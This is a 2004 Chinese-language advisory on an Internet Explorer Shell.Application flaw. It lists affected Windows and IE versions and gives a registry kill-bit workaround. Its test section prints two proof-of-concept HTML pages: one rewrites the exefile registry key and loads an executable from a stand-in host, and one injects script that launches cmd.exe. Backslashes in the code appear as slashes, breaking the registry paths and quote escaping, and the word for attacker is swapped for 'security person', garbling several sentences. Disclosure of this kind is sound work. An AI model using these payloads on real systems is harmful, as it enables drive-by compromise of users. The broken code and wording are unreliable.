Microsoft IE Shell.Application对象脚本执行漏洞
发布日期: 2004年7月7日
受影响系统:
Microsoft Internet Explorer 6.0SP1
Microsoft Internet Explorer 5.5SP2
Microsoft Internet Explorer 5.5SP1
Microsoft Internet Explorer 5.5
Microsoft Internet Explorer 6.0
- Microsoft Windows XP Professional
- Microsoft Windows XP Home
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows ME
- Microsoft Windows 98 SE
- Microsoft Windows 98
- Microsoft Windows 2003 Web Edition
- Microsoft Windows 2003 Standard Edition
- Microsoft Windows 2003 Enterprise Edition 64-bit
- Microsoft Windows 2003 Enterprise Edition
- Microsoft Windows 2003 Datacenter Edition 64-bit
- Microsoft Windows 2003 Datacenter Edition
- Microsoft Windows 2000 Server SP2
- Microsoft Windows 2000 Server SP1
- Microsoft Windows 2000 Server
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows 2000 Datacenter Server SP2
- Microsoft Windows 2000 Datacenter Server SP1
- Microsoft Windows 2000 Datacenter Server
- Microsoft Windows 2000 Advanced Server SP2
- Microsoft Windows 2000 Advanced Server SP1
- Microsoft Windows 2000 Advanced Server
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 10652
Microsoft Internet Explorer是一款流行的WEB浏览器。
Microsoft Internet Explorer存在安全问题,远程安全者可以利用这个漏洞使恶意HTML文档在用户系统上执行脚本代码。
利用Shell.Application对象,安全者可以构建恶意HTML文档,执行脚本代码来更改注册表键值进行进一步的安全。结合其他漏洞,可能执行用户提供的恶意程序。
要利用这个安全问题一般需要其他漏洞重定向浏览器到本地区域(或其他相关安全域)。当然也可以利用其他安全方法,如诱使用户下载HTML文档并使用浏览器打开,或者发送HTML形式EMAIL等来触发。
<*来源:http-equiv@excite.com (http-equiv@excite.com)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=108887094311320&w=2
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有安全性,仅供安全研究与教学之用。使用者风险自负!
"Matthew Murphy" <mattmurphy@kc.rr.com> 提供如下测试方法:
<html><head>
<script language="JavaScript" defer>
function throw_onload() {
actx.RegWrite("HKCR//exefile//EditFlags", 0x38070000, "REG_BINARY");
window.close();
}
var actx = new ActiveXObject("WScript.Shell");
actx.RegWrite("HKCR//exefile//EditFlags", 256, "REG_BINARY");
document.writeln("<IFRAME SRC=/"http://www.somebadsite.com/file.exe/"
ONLOAD=/"throw_onload()/" />");
window.setTimeout("throw_onload()", 5000); // Don't know for sure if IE
fires OnLoad for .exe files! Anyone?
</script></head><body></body></html>
"http-equiv@excite.com" <1@malware.com> presented:
<iframe src="shell:windows/web/tip.htm"
style="width:400px;height:200px;"></iframe>
<textarea id="code" style="display:none;">
injected.
<script language="JScript" DEFER>
alert('attempting injection');
var obj=new ActiveXObject("Shell.Application");
obj.ShellExecute("cmd.exe","/c pause");
</script>
</textarea>
<script language="javascript">
function doit() {
document.frames[0].document.body.insertAdjacentHTML('afterBegin',
document.all.code.value);
}
setTimeout("doit()", 2000);
</script>
建议:
--------------------------------------------------------------------------------
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 修改注册表在Shell.Application对象上设置Kill Bit:
[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Internet Explorer/ActiveX
Compatibility/{13709620-C279-11CE-A49E-444553540000}] "Compatibility Flags"=dword:00000400
厂商补丁:
Microsoft
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.microsoft.com/windows/ie/default.asp